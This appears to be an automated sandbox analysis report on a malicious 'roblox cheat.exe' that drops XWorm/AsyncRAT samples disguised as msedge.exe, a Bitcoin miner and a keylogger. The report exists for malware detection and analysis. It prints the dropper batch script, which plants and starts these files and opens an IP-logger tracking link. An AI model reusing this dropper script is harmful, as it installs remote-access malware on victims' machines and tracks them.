Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Roblox\logs\cacert.pem

Download File

Process:	C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	233235
Entropy (8bit):	6.025218023713329
Encrypted:	false
SSDEEP:	3072:OhGvwW6Jj7ITWYv0yoVH283rz9WqIAsjjg4DsUQS88UP4TFf3xVOVkCC554jMN/C:M5W+j8chWf8xyvp5iIzB4CNxza/MK
MD5:	0194EB945475F93844C0FAE769C0FA0B
SHA1:	D72876A801C702348EA5B4B4A333C484F2A721FD
SHA-256:	A6BC06B8255E4AFE2EEFF34684605D04DF9EC246FC201BF5E44137987189A0D3
SHA-512:	72A00FE6B9111CAB22F1F424F815A617BE2041A3857A6265B004CA1BFD10F345CA33369CD43009B483F9436CCBCD69C70F7033A85D94527B1F39846B75B43C17
Malicious:	false
Reputation:	low
Preview:	##..## Bundle of CA Root Certificates..##..## Certificate data from Mozilla as of: Mon Mar 11 15:25:27 2024 GMT..##..## This is a bundle of X.509 certificates of public Certificate Authorities..## (CA). These were automatically extracted from Mozilla's root certificates..## file (certdata.txt). This file can be found in the mozilla source tree:..## https://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/certdata.txt..##..## It contains the certificates in PEM format and therefore..## can be directly used with curl / libcurl / php_curl, or with..## an Apache+mod_ssl webserver for SSL client authentication...## Just configure this file as the SSLCACertificateFile...##..## Conversion done with mk-ca-bundle.pl version 1.29...## SHA256: 4d96bd539f4719e9ace493757afbe4a23ee8579de1c97fbebc50bba3c12e8c1e..##......GlobalSign Root CA..==================..-----BEGIN CERTIFICATE-----..MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkGA1UEBhMCQk

C:\Users\user\AppData\Local\Roblox\logs\robloxPX1instaler_DD2F4.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	3798
Entropy (8bit):	5.354285454779853
Encrypted:	false
SSDEEP:	48:Dqe/AZdvxDSGikir0rZv/HZgZ6ubZgZ6ub2gZ6ubhKLYZJ9K4z/SY5Jy59ZggJIt:m88/8C8yRZrvGlJMJ1JX0J2OwV7JRd/
MD5:	F23292F5592198D1091ED092497F6A9C
SHA1:	146EF8C465B6DE3F7AC6248C3A3C88C26CF07DBE
SHA-256:	4A9E623032DA405BF7EB876C4DE377AC0054B85FA33800784D0AE61A269D4223
SHA-512:	98F601B5681D28BE289C76AE5C9201E7F012E2407D4806BAA82A57C9227FEE805AA2EB1633873988909D1B631451FE5724B42515A613BE9254E1D95B480FC109
Malicious:	false
Preview:	2024-07-29T22:46:05.969Z..2024-07-29T22:46:05.025Z,0.025997,0f44,6,Info [FLog::DesktopInstaller] The installer reporter is initialized..2024-07-29T22:46:05.026Z,0.026046,0f44,6,Info [FLog::DesktopInstaller] Reporting Installer Start..2024-07-29T22:46:06.079Z,1.079255,07f0,6,Info [FLog::DesktopInstaller] Start the Installer thread..2024-07-29T22:46:06.122Z,1.122533,07f0,6,Info [FLog::DesktopInstaller] The installer will run InstallNormal..2024-07-29T22:46:06.122Z,1.122612,07f0,6,Info [FLog::DesktopInstaller] Fetch flag info..2024-07-29T22:46:06.929Z,1.929084,0588,6,Critical [FLog::DesktopInstaller] failed Http GET url: https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapper, code: 11, message: HttpError: TlsVerificationFail, body: ..2024-07-29T22:46:11.868Z,6.868474,0588,6,Critical [FLog::DesktopInstaller] failed Http GET url: https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapper, code: 11, message: HttpError: TlsVerificationFail, bo

C:\Users\user\AppData\Local\Temp\ msedge.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	166912
Entropy (8bit):	6.251413929646261
Encrypted:	false
SSDEEP:	3072:TmnOFd9UhOMQRUGKXs+S++7KFSbxeY+qDDrMK:3d9YGqStKEbxI
MD5:	D653AEF66E218FB009B43365919BBCE3
SHA1:	D38CAFCD950B901EE79FF72EBB87FEC8B2D9582A
SHA-256:	E85AF6A36635490B2FC2793B50C7EBC841DA95BC202A5FC9E7A4DBB17F172A2B
SHA-512:	FF4776B44ACD815251908B7D726980FA9DE5E02AED32026C5A72B64A7B0A464399BE730EE37473FDE3406AE7D7D43284018ADE4D32FC160F579764344DA06EF6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\ msedge.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\ msedge.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................ ........@.. ....................................@.....................................S.......L............................................................................ ............... ..H............text....... ...................... ..`.rsrc...L...........................@..@.reloc..............................@..B........................H........U...S............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	140288
Entropy (8bit):	5.566968845764678
Encrypted:	false
SSDEEP:	3072:6mnOFd9U8OM+fe295liNgTddwY0JwsR4TbswYqkX5bEdGDOjESHhddJWjjY/ffIo:Wd9UH95D
MD5:	3AFF3B824FC5BCD05EF4D8EEE176E443
SHA1:	422883493E21D605CB47CC08FD48CAEAD73F414C
SHA-256:	79750B0F34A49A75406A0D7D6949AFD83DF2B2FF946E35A94AEA6BFE1D399599
SHA-512:	126818953B72233B2B0C50523ACE1EA8D1004F80EEDD0414A4FD3E4E385A3CB1D29E3D9BF7B50FA28AE5CC8EF2BF543D6416531F05FB977A79E60E51A82B03AE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................ ........@.. ....................................@.....................................S.......<....................`....................................................... ............... ..H............text....... ...................... ..`.rsrc...<...........................@..@.reloc.......`......."..............@..B........................H........U...S............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\AppData\Local\Temp\Keyloger.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	168960
Entropy (8bit):	5.30703099621005
Encrypted:	false
SSDEEP:	3072:PV8w386j+bSL1OGtLJBz65/M6If+3Js+3JFkKeTnY:PN6bsrxBt25
MD5:	520E97797B27B752130B3E982953CEAF
SHA1:	AB460DA7E69D43747D98A4F45F5BB09D0E971789
SHA-256:	8BC3BD8F0FF442D3C83DA8ED7DE13C8E44D095823E2480465BE866C08F7E8700
SHA-512:	3219E4FE6B23411B48930FCE21DA24C8CE9BB07C6B069FA38B26B32DCC102C668F32AE816BD526CFBB44480F8279586509EBB11E9B75138A1F59AE771AA53664
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\Keyloger.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\Keyloger.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?[.f............................."... ...@....@.. ....................................@.................................X"..S....@..Z............................................................................ ............... ..H............text........ ...................... ..`.rsrc...Z....@......................@..@.reloc..............................@..B................."......H........]..........&.....................................................(.....r...p. .x!...(.....rc..p. !....s.........s.........s.........s..........r...p. .&...r'..p. ~.H..r...p. .(T..r...p. ..$..rM..p. C.?...((....r_..p. [....r...p. .A.."(....+.&(....&+..+5sR... .... .'..oS...(,...~....-.(G...(9...~....oT...&.-..r%..p. S....ri..p. .....r...p.r...p. .....r5..p. p{..ry..p. .................j..................sU.............."(I...+.*:

C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe

Download File

Process:	C:\Users\user\Desktop\roblox cheat.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	630062
Entropy (8bit):	7.130280084277062
Encrypted:	false
SSDEEP:	12288:yyveQB/fTHIGaPkKEYzURNAwbAgOT+t1/l36KUU0TetYsO3IB/m+:yuDXTIGaPhEYzUzA0bZB0gOY9z
MD5:	FC411F4D9F4DBA5104CB1549153A8684
SHA1:	A4591F154FBC922A8409A1C010DF6706F69A95E8
SHA-256:	28A6ACCC3134DDD287CA1C37D2C136C39255EF1654475F1E4DBC511F9D0EA35D
SHA-512:	000681D2C7A1AFA4BAA5470F6C46349B021C88F3D070BCEACBF0F2B6A6BAC6FF3F1E4F31729DB619C8E455FDF3B810662E24C446DC76F73E5C0DAD2DD6536C0B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i..i.\.i..b.\.i..g.\.`.].C.\..Y.R.\..\.a.\...a.\..^.a.\.Rich`.\.........PE..d...#.@f.........."....!.h...j.................@..........................................`.............................................4......P...............l0..............p....6..T....................7..(......@....................... ....................text...ng.......h.................. ..`.rdata...(.......*...l..............@..@.data...\...........................@....pdata..l0.......2..................@..@.didat..`...........................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..p...........................@..B........................................................................................................................................

C:\Users\user\AppData\Local\Temp\coin.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	517
Entropy (8bit):	5.103767602316603
Encrypted:	false
SSDEEP:	12:Z0DtzHGtzs22yZOVqZwGJbShOVqZwGJbKy5intuAfhH0HR:ZMz0zsBiO4Z+O4ZOKuPfQR
MD5:	DE26F0FF06A38A22766F3978775B13BD
SHA1:	A845EBED70BF63BD700B0AFF5418ECA6CC9177ED
SHA-256:	8902A3F7733E13FDA8183E490550D22C8711CF30B5661CB554579C1F47A0609A
SHA-512:	8EEE58C2312F3488EE86F50E84CB854189254753A265B7E52C564ECA5A3C0836CD059B9540DADD531EED948AEBC1F88D4B7D466780FEB8C39F7E56DDC89D22B1
Malicious:	false
Preview:	%echo off..copy %temp%\msedge.exe %systemDrive%\Program Files (x86)\Microsoft\Edge\Application..start %systemDrive%\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..copy %temp%\BitCoin_miner.exe %userprofile%\AppData\Local\Roblox\Versions\version-2e10d35f26294ab6..start %userprofile%\AppData\Local\Roblox\Versions\version-2e10d35f26294ab6\BitCoin_miner..copy %temp%\Keyloger.exe %systemDrive%\Program Files (x86)..start %systemDrive%\Program Files (x86)\Keyloger.exe..start cmd..start https://2no.co/24RXx6

C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe

Download File

Process:	C:\Users\user\Desktop\roblox cheat.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5720984
Entropy (8bit):	6.362394353465928
Encrypted:	false
SSDEEP:	98304:v7v3kcOmmcMxGf3Yi4bg38mky2aB173qgDDzGxSP8R7fTA7pksuq7:70cB3djgmggDaRXAtHB
MD5:	27469372591B14FF1C57654FACB5E020
SHA1:	492C166CD0E6C8D122CA4687659BF047CD48AFD7
SHA-256:	3B8FCD52686095049B1563FBB6BA0BF73113A01B13C303BEBCB36D8339A1519F
SHA-512:	0CFA845DE57ACF6F17F295F0771C2A61CD846EFDEE79DA012DEF474BCAA91D9E99D3D528CF5698E6112A310C4F97E98AE74B6CFC601B2988C51E92270EBF92A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$..................M.....M...P.....9.......................9...M.....+.....M.....T............M.......O...T...(...T.;...S...T.....Rich....................PE..L................"......b4......... (/.......4...@..........................`......`/X...@.................................D.B.T....0..............."W..)......<[....@.p.....................@.......@.@.............4.<............................text...v`4......b4................. ..`.rdata..Rs....4..t...f4.............@..@.data....+....C..*....B.............@....rsrc........0........O.............@..@.reloc..<[.......\....T.............@..B................................................................................................................................................................................................................................................

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 87a, 31 x 31
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.051559084988302
Encrypted:	false
SSDEEP:	6:tj+cYUFqb9Oq2EWxiWlb+hKI526WogYAGJe9UCZE12REqtVv6n:tqeqZF3WxiHKI5KopAMQUD10EqtVv6
MD5:	1BD6EB140EC5E09AF54808BCE2BE74BE
SHA1:	00746108650919B88014CE35AABF72B0F20B2046
SHA-256:	3E13369E5C528A4598007330A7D572DADD181E268D0CF87BA7B62FD7668597F8
SHA-512:	FA58EB9D8DB6819BCD39EC73089942D7F16CA602322E3EFA592A3418FB735A87DF9FD5388830F8E1E699CB5457234626F2B09DACEC83E265F300CE19AA907DBE
Malicious:	false
Preview:	GIF87a...........V...B...."...j.2&.bB..B...v.ZN>..&...R6."..:&..b....r.&"..r.J....rJ....z...$..6&.....2..R...^>..^..j.~R...N6.jF...&...n...V:.>...N2..Z.F.....z.."..f..v...vN..~.....,.............g.(.YH.o...T.H.F..v..v...wL.j......pR..W.........}lh\|..~\gtY....u.\6&.j.\?4.d.\...^.$.[.(....Z=<.Z...[=....[.Y.+....Z7.....\.%...\:....[.3...Z.5...$.1.....y. .y...u.8.q'.!".e'...P......".a.E..*2..1....."\.....8`...;

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2833
Entropy (8bit):	7.876846206921263
Encrypted:	false
SSDEEP:	48:Kw15hc/Pj2itdgjeVVO/SzBdCvhaHAlJX7XnF/HDoSH8T78atjZeHMBx/F/WssM:J15hc/Pj2mdgjMjusgl5XFD3MoIx9eg
MD5:	18C023BC439B446F91BF942270882422
SHA1:	768D59E3085976DBA252232A65A4AF562675F782
SHA-256:	E0E71ACEF1EFBFAB69A1A60CD8FADDED948D0E47A0A27C59A0BE7033F6A84482
SHA-512:	A95AD7B48596BC0AF23D05D1E58681E5D65E707247F96C5BC088880F4525312A1834A89615A0E33AEA6B066793088A193EC29B5C96EA216F531C443487AE0735
Malicious:	false
URL:	https://cdn.iplogger.org/favicon.ico
Preview:	.PNG........IHDR...@...@......iq.....IDATx.....e.._Osm...,uY.sYI.w.$..........:VjD..!...o%....5$......... (..;~8."......h...r.^/}...\|..qm.O.w..I.m....>..y>.?_.....;_=.b.R4X..4.2....S!.P.m>......*`........@.....O...\,...o..@..RS.5.3.....M..@.....>..\|....2p ......v...-a.9........V..0.X....`(.....TH.i....o:.....'p3.[.Lx.q.1.....XN/j.M...y..+....!r.P........F.6....M.W./".QK.....?...r....f.7.?...7..y@..-` ......f.7..x.......z-......u6D...M.=.6D....`X..>.......`....?..-....s..\..._...Vc.&......rzM...9B....dJp.......\|....@..O....."je...oGL..1.......R!5\.Q.7.......Mb.x.x....)E.u.b9.Ad.<..x.8.L!...8...aV#..\|>.R...9+.....P......~..^...;?.#q......d.G.a`..I...c9..\..Cc',.l.-.......m.H..E......s.s...:.l>....L....u...g#Q..0.<...3.~=b.....TH.....M......K..a..R48....W.[..6...?...3.)..r.WHd8...o(.^.....]..~.8ef49..F......d.QF.zg).,.#.E.-..q..L.....^.u.x.XY....,.......C.i=lJ..c.?.4E=@......Y.r...`......Z.8].....A../.R...5.-.YG1...b.....y..x.".'Y...b1.....K..$..">..

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 87a, 31 x 31
Category:	downloaded
Size (bytes):	445
Entropy (8bit):	7.051559084988302
Encrypted:	false
SSDEEP:	6:tj+cYUFqb9Oq2EWxiWlb+hKI526WogYAGJe9UCZE12REqtVv6n:tqeqZF3WxiHKI5KopAMQUD10EqtVv6
MD5:	1BD6EB140EC5E09AF54808BCE2BE74BE
SHA1:	00746108650919B88014CE35AABF72B0F20B2046
SHA-256:	3E13369E5C528A4598007330A7D572DADD181E268D0CF87BA7B62FD7668597F8
SHA-512:	FA58EB9D8DB6819BCD39EC73089942D7F16CA602322E3EFA592A3418FB735A87DF9FD5388830F8E1E699CB5457234626F2B09DACEC83E265F300CE19AA907DBE
Malicious:	false
URL:	https://counter.yadro.ru/hit?q;t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396
Preview:	GIF87a...........V...B...."...j.2&.bB..B...v.ZN>..&...R6."..:&..b....r.&"..r.J....rJ....z...$..6&.....2..R...^>..^..j.~R...N6.jF...&...n...V:.>...N2..Z.F.....z.."..f..v...vN..~.....,.............g.(.YH.o...T.H.F..v..v...wL.j......pR..W.........}lh\|..~\gtY....u.\6&.j.\?4.d.\...^.$.[.(....Z=<.Z...[=....[.Y.+....Z7.....\.%...\:....[.3...Z.5...$.1.....y. .y...u.8.q'.!".e'...P......".a.E..*2..1....."\.....8`...;

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2833
Entropy (8bit):	7.876846206921263
Encrypted:	false
SSDEEP:	48:Kw15hc/Pj2itdgjeVVO/SzBdCvhaHAlJX7XnF/HDoSH8T78atjZeHMBx/F/WssM:J15hc/Pj2mdgjMjusgl5XFD3MoIx9eg
MD5:	18C023BC439B446F91BF942270882422
SHA1:	768D59E3085976DBA252232A65A4AF562675F782
SHA-256:	E0E71ACEF1EFBFAB69A1A60CD8FADDED948D0E47A0A27C59A0BE7033F6A84482
SHA-512:	A95AD7B48596BC0AF23D05D1E58681E5D65E707247F96C5BC088880F4525312A1834A89615A0E33AEA6B066793088A193EC29B5C96EA216F531C443487AE0735
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx.....e.._Osm...,uY.sYI.w.$..........:VjD..!...o%....5$......... (..;~8."......h...r.^/}...\|..qm.O.w..I.m....>..y>.?_.....;_=.b.R4X..4.2....S!.P.m>......*`........@.....O...\,...o..@..RS.5.3.....M..@.....>..\|....2p ......v...-a.9........V..0.X....`(.....TH.i....o:.....'p3.[.Lx.q.1.....XN/j.M...y..+....!r.P........F.6....M.W./".QK.....?...r....f.7.?...7..y@..-` ......f.7..x.......z-......u6D...M.=.6D....`X..>.......`....?..-....s..\..._...Vc.&......rzM...9B....dJp.......\|....@..O....."je...oGL..1.......R!5\.Q.7.......Mb.x.x....)E.u.b9.Ad.<..x.8.L!...8...aV#..\|>.R...9+.....P......~..^...;?.#q......d.G.a`..I...c9..\..Cc',.l.-.......m.H..E......s.s...:.l>....L....u...g#Q..0.<...3.~=b.....TH.....M......K..a..R48....W.[..6...?...3.)..r.WHd8...o(.^.....]..~.8ef49..F......d.QF.zg).,.#.E.-..q..L.....^.u.x.XY....,.......C.i=lJ..c.?.4E=@......Y.r...`......Z.8].....A../.R...5.-.YG1...b.....y..x.".'Y...b1.....K..$..">..

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460), with CRLF, CR, LF line terminators
Category:	downloaded
Size (bytes):	9909
Entropy (8bit):	5.403699991132508
Encrypted:	false
SSDEEP:	192:DLlw+00cv13xV1cSHYu+zogDKiIIhWp6psOsW4rqSxVEGX85R2WxSi1yz:D5w+Pcv13T1FH0fWiIIm6QXxX8P20u
MD5:	59FB7ECF472A88E923D00C5B26AA20D7
SHA1:	02E8852C7E87CAF17459C5B0F4E0FBDCC62162AB
SHA-256:	7BACD36CADEADF6D4482EA0ABFB9352898F07B7FFF26CF03EC751436756D66B3
SHA-512:	820209A1BEA99D0ECAF8D6552F82BB5C5146C0F9302DCC093F2489A0DAC48C2468E5580A1D6212BEED32F9BABF1755FF7BDD146CCFD41E07BDBF6C52C64F39E9
Malicious:	false
URL:	https://2no.co/24RXx6
Preview:	<!DOCTYPE html>.<html lang="US" class="html">.<head>..<title>Branded Short Domain</title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-2024" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="2no.co is a Branded Short Domain..." />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285"

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.461330913623725
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.69% Win32 Executable (generic) a (10002005/4) 49.64% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% InstallShield setup (43055/19) 0.21% Windows Screen Saver (13104/52) 0.07%
File name:	roblox cheat.exe
File size:	6'410'752 bytes
MD5:	6b94734feac8edb9f925385163ad59c9
SHA1:	3ec9cc36f11ce7836e86089631ad790e7c8fe3cc
SHA256:	62d6f204244bbb976a155aa7750874a56db925c8531d76dce6bf5560440cb63c
SHA512:	ac51fd23bf17d0f6d4b4fac338d80dd50c4228e45472370b8806e0c1b00504f6c45978ccab134e3e0531d212e4c0d0222e1661c8c07c88bf1d1482047efa6ed5
SSDEEP:	98304:d7v3kcOmmcMxGf3Yi4bg38mky2aB173qgDDzGxSP8R7fTA7pksuqbqw/:p0cB3djgmggDaRXAtHtqw/
TLSH:	A356CE12F940C071E5D240B296BEAF76897DAD300B3898D777C41D694A316E37A3AF27
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..................`...........a.. ... a...@.. .......................@b...........`................................

File Icon


Icon Hash:	66e2a0a0b0aa92b6

Static PE Info

General

Entrypoint:	0xa11b1e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A81403 [Mon Jul 29 22:13:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x611acc	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x614000	0xcc88	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x622000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x612000	0x1c	.sdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
